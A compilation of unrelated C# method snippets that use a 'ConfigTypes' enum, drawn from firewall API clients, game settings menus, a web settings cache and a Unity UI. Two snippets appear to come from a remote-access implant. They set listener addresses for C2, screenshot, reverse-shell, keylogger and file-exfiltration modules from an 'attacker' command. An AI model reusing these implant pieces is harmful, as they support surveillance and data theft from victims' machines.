public Maybe <T> GetSingle <TDeserializer>(string objectName, ConfigTypes configType) where TDeserializer : ApiResponseForGetSingle { TDeserializer deserializedResult; try { deserializedResult = commandFactory.CreateGetSingle <TDeserializer>(schemaName, objectName, configType).Execute(); } catch (ResponseFailure ex) { if (configType == ConfigTypes.Running && ex.Data[ResponseFailure.MessageFiled].ToString().Contains("No such node")) { return(new Maybe <T>()); } throw; } if (!deserializedResult.GetPayload().Any()) { return(new Maybe <T>()); } var deserializedFirewallObject = deserializedResult.GetPayload().Single() as T; if (deserializedFirewallObject == null) { throw new SerializationException("Unable to Deserealize Payload to the requested type"); } return(new Maybe <T>(deserializedFirewallObject)); }
public T Value <T>(int index) { ConfigTypes type = SettingType(index); object result; switch (type) { case ConfigTypes.OnOffSwitch: result = (bool)ValueObject(index); return((T)result); case ConfigTypes.Number: case ConfigTypes.Slider: result = (int)ValueObject(index); return((T)result); case ConfigTypes.Button: result = (string)ValueObject(index); return((T)result); case ConfigTypes.SubSettings: var entry = GetEntryIndex(index); result = _Data[entry.Item1].GetDefaultValue(entry.Item2); return((T)result); case ConfigTypes.Keyboard: result = (Keys)ValueObject(index); return((T)result); } return(default(T)); }
//private string GetSettingValue(short type) //{ // object cachedSetting = HttpRuntime.Cache[settingValue]; // if (cachedSetting == null || string.IsNullOrEmpty(cachedSetting.ToString())) // { // settingValue = GetSetting(type); // HttpRuntime.Cache.Add(settingValue, type, null, DateTime.Now.AddDays(1), // Cache.NoSlidingExpiration, CacheItemPriority.Default, null); // } // else // settingValue = cachedSetting.ToString(); // return settingValue; //} private static T GetSettingValue <T>(ConfigTypes type, Guid?currentUserOrganizationId) { T res; Utilities.TryParse(GetSettingValue(type, currentUserOrganizationId), out res); return(res); }
/// <summary> /// 读取配置文件配置 /// </summary> /// <param name="configTyp">配置类型</param> /// <param name="elementName">查询配置的节点名称</param> /// <param name="keyAttrName">查询节点的键对应的属性名称</param> /// <param name="valueAttrName">查询节点的值对应的属性名称</param> /// <returns></returns> public static IEnumerable <KeyValuePair <string, string> > GetConfigXml(ConfigTypes configTyp, string elementName = "option", string keyAttrName = "key", string valueAttrName = "value") { var result = new List <KeyValuePair <string, string> >(); var path = ConfigPaths.Global[configTyp]; var xml = new XmlHelper(path); if (xml.IsInitError) { return(result); } xml.ToDescendant(elementName); var key = xml.GetNowAttr(keyAttrName); var val = xml.GetNowAttr(valueAttrName); while (val.NonEmpty()) { result.Add(new KeyValuePair <string, string>(key, val)); key = xml.GetAttr(elementName, keyAttrName); val = xml.GetNowAttr(valueAttrName); } xml.Close(); return(result); }
public SortedSet <CategoryDTO> GetCache(ConfigTypes type) { if (!_categoryCache.ContainsKey(type)) { var propertyDefinitions = _dao.FindAll <PropertyDefinition>(typeof(PropertyDefinition)); _categoryCache[type] = BuildCache(propertyDefinitions, type); } return(_categoryCache[type]); }
/// <summary> /// Re-usable function to set config item values for ip/ports to phone home per action. /// </summary> /// <param name="setConfig">The strictly typed Enum of the config that is being updated</param> private void SetConfig(ConfigTypes setConfig) { string ipPrompt = "Enter Listener IP:Port\n"; byte[] promptMsg = Encoding.ASCII.GetBytes(ipPrompt); c2Stream.Write(promptMsg, 0, promptMsg.Length); byte[] responseData = new byte[256]; string response = string.Empty; Console.WriteLine($"HERE"); int bytes = c2Stream.Read(responseData, 0, responseData.Length); response = Encoding.ASCII.GetString(responseData, 0, bytes); string[] ipPort = response.Trim().Split(':'); Console.WriteLine($"GOT HERE"); string ip = ipPort[0]; int.TryParse(ipPort[1], out int port); Console.WriteLine($"THEN HERE"); Console.WriteLine($"Got {ip} and {port}"); // This creates yet another place to update when we add a new one.. Enhancement: Look into using Dynamic Config object with ExpandoObject switch (setConfig) { case ConfigTypes.c2: Config.Instance.C2.IPAddress = ip; Config.Instance.C2.PortNumber = port; break; case ConfigTypes.screenshot: Config.Instance.Screenshot.IPAddress = ip; Config.Instance.Screenshot.PortNumber = port; break; case ConfigTypes.rev: Config.Instance.Rev.Add(new IpPort() { IPAddress = ip, PortNumber = port }); break; case ConfigTypes.keylogger: Config.Instance.KeyLogger.IPAddress = ip; Config.Instance.KeyLogger.PortNumber = port; Console.WriteLine($"{Config.Instance.KeyLogger.IPAddress}:{Config.Instance.KeyLogger.PortNumber}"); break; default: Console.WriteLine($"I DIDN'T WORK PROPERLY!"); break; } Console.WriteLine("Recieved {0} {1}", ip, port.ToString()); }
public void InflateMembers <T, TDeserializer>( ISearchableRepository <T> searchableRepository, GroupFirewallObject groupFirewallObject, ConfigTypes configType) where T : FirewallObject where TDeserializer : ApiResponseForGetAll { var allTObjects = searchableRepository.GetAll <TDeserializer>(configType); groupFirewallObject.MemberObjects.AddRange( (from tObject in allTObjects where groupFirewallObject.Members.Contains(tObject.Key) select tObject.Value) .ToList()); }
private void SetAction(UnitConfig unitConfig, int index, string actionName, ConfigTypes configType) { if (configType == ConfigTypes.Ability) { unitConfig.actions[index] = actionName; } else { unitConfig.stances[index] = actionName; } LobbySetupController.HideActionConfig(); LobbySetupController.ShowUnitConfig(); }
public static string GetSetting(ConfigTypes type, Guid?currentUserOrganizationId) { using (var ent = new MindCornersEntities()) { string res = string.Empty; var setting = ent.Configs.FirstOrDefault(x => x.Type == (short)type && x.OrganizationId == currentUserOrganizationId); if (setting != null) { res = setting.Value; } return(res); } }
public Dictionary <string, T> GetAll <TDeserializer>(ConfigTypes configType) where TDeserializer : ApiResponseForGetAll { var deserializedResult = commandFactory.CreateGetAll <TDeserializer>(schemaName, configType).Execute(); if (deserializedResult.Status.Equals("success")) { return(deserializedResult. GetPayload(). Where(entry => entry.Value.GetType() == typeof(T)). ToDictionary(entry => entry.Key, entry => (T)entry.Value)); } throw new Exception(string.Format("GetAll Method failed. PANOS error code {0}", deserializedResult.Status)); }
public FormUrlEncodedContent CreateGetAll(string schemaName, ConfigTypes configType) { return(new FormUrlEncodedContent(new[] { accessTokenPair, typeConfigPair, configType == ConfigTypes.Running ? actionShowPair : actionGetPair, new KeyValuePair <string, string>( "xpath", string.Format( "/config/devices/entry/vsys/entry[@name='{0}']/{1}", vsys, schemaName)) })); }
protected SettingsData( string[] label, ConfigTypes type, string formatString, int[] dependentSettings, int rangeMin, int rangeMax, bool updateBeforeConfirming) { Label = label; Type = type; FormatString = formatString; _DependentSettings = dependentSettings; Range = new Range <int>(rangeMin, rangeMax); UpdateBeforeConfirming = updateBeforeConfirming; }
public static String GetRootLevel(this ConfigTypes type) { if (ConfigTypes.Global == type) { return("Global"); } if (ConfigTypes.WhereClauses == type) { return(WcConfigPrefix); } if (ConfigTypes.DashBoards == type) { return("_dashboards"); } throw new InvalidOperationException(); }
public static IConfig GetConfig(ConfigTypes ct) { IConfig icResult; switch (ct) { case ConfigTypes.TemplatesConfig: icResult = TemplatesConfig.Instance(); break; default: icResult = AppConfig.Instance(); break; } return icResult; }
public static ConfigTypes ParseConfigTypes(string input) { ConfigTypes types = ConfigTypes.None; if (input.Contains("c")) { types |= ConfigTypes.Client; } if (input.Contains("s")) { types |= ConfigTypes.Server; } if (types == ConfigTypes.None) { throw new Exception($"ConfigType格式不正确,{input}"); } return(types); }
/// <summary> /// Overload to handle setting config. SetConfig(ConfigTypes) will eventually be deprecated once this is fully implemented. /// Allows an attacker to enter the config as arguments so that modules can be run in one request /// </summary> /// <param name="command">The full command entered by the attacker</param> /// <param name="configType">Determines the config items that will be set</param> /// <param name="expectedArguments">The expected number of arguments that should have been supplied by the attacker</param> private bool SetConfig(string command, ConfigTypes configType, int expectedArguments) { bool result = false; // Assume the worst try { // Split the attackers command at every space, not including spaces within quotes "" var CommandAndArgs = command.Split('"') .Select((element, index) => index % 2 == 0 ? element.Split(new[] { ' ' }, StringSplitOptions.RemoveEmptyEntries) : new string[] { element }) .SelectMany(element => element).ToList(); switch (configType) { case ConfigTypes.exfil: if (CommandAndArgs.Count != expectedArguments) // dodgy input validation { result = false; break; } Config.Instance.ExfilFile.TargetFilePath = CommandAndArgs[1]; Config.Instance.ExfilFile.IPAddress = CommandAndArgs[2]; int.TryParse(CommandAndArgs[3], out int port); Config.Instance.ExfilFile.PortNumber = port; result = true; break; default: result = false; break; } } catch (Exception e) { // Being lazy for now result = false; } return(result); }
public void LoadSettings(VisualStudio.IProjectSettings settings) { // TODO - Right now this class inherits from the view scaffolder model, so we need to call into the // base class to read those settings as well. We want to remove this inheritance at some point // and this method will have to change when we do. Contract.Assert(settings != null); string stringValue; if (settings.TryGetString(SavedSettingsKeys.DbContextTypeFullNameKey, out stringValue)) { DataContextType = DataContextTypes.Where(t => String.Equals(t.TypeName, stringValue, StringComparison.Ordinal)).FirstOrDefault(); } if (settings.TryGetString(SavedSettingsKeys.ConfigTypeFullNameKey, out stringValue)) { ConfigType = ConfigTypes.Where(t => String.Equals(t.TypeName, stringValue, StringComparison.Ordinal)).FirstOrDefault(); } }
public static CollectionSettingsData <T> CreateCollection <T>( string[] labels, ConfigTypes type, T[] defaultValue, string formatString = "{0}", int[] dependentSettings = null, int rangeMin = 0, int rangeMax = 0, bool updateBeforeConfirming = false) { return(new CollectionSettingsData <T>( labels, type, defaultValue, formatString, dependentSettings, rangeMin, rangeMax, updateBeforeConfirming)); }
private static string GetSettingValue(ConfigTypes type, Guid?currentUserOrganizationId) { var settingName = Enum.GetName(typeof(ConfigTypes), type) ?? ""; object cachedSetting = HttpRuntime.Cache[settingName]; string settingValue; if (cachedSetting == null || string.IsNullOrEmpty(cachedSetting.ToString())) { settingValue = GetSetting(type, currentUserOrganizationId); HttpRuntime.Cache.Add(settingName, settingValue, null, DateTime.Now.AddDays(1), Cache.NoSlidingExpiration, CacheItemPriority.Default, null); } else { settingValue = cachedSetting.ToString(); } return(settingValue); }
public ConfigScaffolderModel(CodeGenerationContext context) : base(context) { DataContextTypes = ServiceProvider.GetService <ICodeTypeService>().GetAllCodeTypes(ActiveProject) .Where(codeType => codeType.IsValidDbContextType()) .Select(ct => new ModelType(ct)); ConfigTypes = ServiceProvider.GetService <ICodeTypeService>().GetAllCodeTypes(ActiveProject) .Where(codeType => codeType.IsValidConfigType()) .Select(ct => new ModelType(ct)); if (DataContextTypes.FirstOrDefault() == null) { throw new ArgumentException(String.Format(CultureInfo.InvariantCulture, Resources.InvalidResource, "context class")); } if (ConfigTypes.FirstOrDefault() == null) { throw new ArgumentException(String.Format(CultureInfo.InvariantCulture, Resources.InvalidResource, "config class")); } }
public virtual string ValueString(int index) { ConfigTypes type = SettingType(index); switch (type) { case ConfigTypes.OnOffSwitch: bool value = Value <bool>(index); return(value ? "On" : "Off"); case ConfigTypes.Number: case ConfigTypes.Slider: int intValue = Value <int>(index); return(string.Format(FormatString(index), intValue)); case ConfigTypes.Keyboard: Keys keyValue = Value <Keys>(index); return(keyValue.ToString());; } return(""); }
public void AppendConfig(string key, string data, ConfigTypes type, bool refresh = false) { switch (type) { case ConfigTypes.General: if (_generalConfig.ContainsKey(key)) { _generalConfig[key] = data; } else { _generalConfig.Add(key, data); } if (OnGeneralConfigUpdated != null) { OnGeneralConfigUpdated(); } break; case ConfigTypes.Data: if (_dataConfig.ContainsKey(key)) { _dataConfig[key] = data; } else { _dataConfig.Add(key, data); if (OnDataConfigUpdated != null) { OnDataConfigUpdated(new KeyValuePair<string, string>(key, data)); } } break; } }
public CollectionSettingsData( string[] labels, ConfigTypes type, T[] defaultValue, string formatString, int[] dependentSettings, int rangeMin, int rangeMax, bool updateBeforeConfirming) : base( labels, type, formatString, dependentSettings, rangeMin, rangeMax, updateBeforeConfirming) { if (labels.Length != defaultValue.Length) { throw new ArgumentException("CollectionSettingsData labels length\ndoesn't match values length"); } DefaultValue = defaultValue; }
public GetTests(string schemaName, ConfigTypes configType) { this.schemaName = schemaName; this.configType = configType; searchableRepository = new SearchableRepository <T>(ConfigCommandFactory, schemaName); }
public void SetUnit(UnitConfig unitConfig, int index, ConfigTypes configType) { transform.Find("InfoPanel").Find("UnitName").GetComponent <Text>().text = unitConfig.unitName; transform.Find("InfoPanel").Find("UnitClass").GetComponent <Text>().text = unitConfig.unitClass.Name(); int i = 0; List <string> actions = unitConfig.unitClass.Actions(); List <string> unitActions = unitConfig.actions; if (configType == ConfigTypes.Stance) { actions = unitConfig.unitClass.Stances(); unitActions = unitConfig.stances; } foreach (Transform entry in transform.Find("Grid")) { bool enableClick = true; int c = i; entry.GetComponent <Button>().onClick.RemoveAllListeners(); if (i < actions.Count) { entry.gameObject.active = true; string label = ""; string description = ""; string mpCost = ""; if (configType == ConfigTypes.Stance) { label = unitConfig.stanceMap[actions[c]].Name(); description = unitConfig.stanceMap[actions[c]].Description(); mpCost = "0"; } else { UnitAction action = unitConfig.actionMap[actions[c]]; label = unitConfig.actionMap[actions[c]].Name(); description = action.actionType().ToString() + " -- " + action.Description(); if (action.VariableMp()) { mpCost = "Variable"; } else { mpCost = unitConfig.actionMap[actions[c]].MpCost().ToString(); } } entry.Find("Text").GetComponent <Text>().text = label; entry.Find("Text").GetComponent <Text>().color = Color.white; if (actions[c] == unitActions[index]) { entry.Find("Text").GetComponent <Text>().color = Color.green; } else if (unitActions.Contains(actions[c])) { enableClick = false; entry.Find("Text").GetComponent <Text>().color = new Color(1, 1, 1, .5f); } ActionConfigButton configButton = entry.GetComponent <ActionConfigButton>(); configButton.actionName = label; configButton.description = description; configButton.mpCost = mpCost; if (enableClick) { entry.GetComponent <Button>().onClick.AddListener( () => { ActionInformation.Hide(); this.SetAction(unitConfig, index, actions[c], configType); }); } } else { entry.gameObject.active = false; } i++; } }
public Dictionary<string, string> GetConfigDictionary(ConfigTypes type) { var result = new Dictionary<string, string>(); switch (type) { case ConfigTypes.General: result = _generalConfig; break; case ConfigTypes.Data: result = _dataConfig; break; } return result; }
public ICommand <TApiResponse> CreateGetSingle <TApiResponse>( string schemaName, string name, ConfigTypes configType = ConfigTypes.Running) where TApiResponse : ApiResponse => new Command <TApiResponse>(apiUriFactory.Create(), apiPostKeyValuePairFactory.CreateGetSingle(schemaName, name, configType));
public string GetConfig(string key, ConfigTypes type) { var result = ""; switch (type) { case ConfigTypes.General: if (_generalConfig.ContainsKey(key)) { result = _generalConfig[key]; } break; case ConfigTypes.Data: if (_dataConfig.ContainsKey(key)) { result = _dataConfig[key]; } break; } return result; }
public void CommitConfig(ConfigTypes type) { switch (type) { case ConfigTypes.General: WriteConfig(_generalConfig, _generalConfigFile); break; case ConfigTypes.Data: WriteConfig(_dataConfig, _dataConfigFile); break; } }
public PsGetTests(string noun, ConfigTypes configType) { this.configType = configType; command = string.Format(configType == ConfigTypes.Candidate ? "Get-{0} -FromCandidateConfig" : "Get-{0}", noun); psTestRunner = new PsTestRunner <T>(); }
protected override void BeginProcessing() { base.BeginProcessing(); ConfigType = FromCandidateConfig ? ConfigTypes.Candidate : ConfigTypes.Running; }
internal static SortedSet <CategoryDTO> BuildCache(IEnumerable <PropertyDefinition> definitions, ConfigTypes type) { IDictionary <string, CategoryDTO> catDict = new Dictionary <string, CategoryDTO>(); foreach (var definition in definitions) { if (!definition.Visible) { continue; } var catFullKey = CategoryUtil.GetCategoryFullKey(definition.FullKey); if (!catFullKey.StartsWith("/" + type.GetRootLevel())) { continue; } if (!catDict.ContainsKey(catFullKey)) { BuildCategoryEntries(catDict, catFullKey, null); } var dto = catDict[catFullKey]; dto.Definitions.Add(definition); } var categoryDtos = catDict.Values.Where(c => c.Parent == null); return(new SortedSet <CategoryDTO>(categoryDtos)); }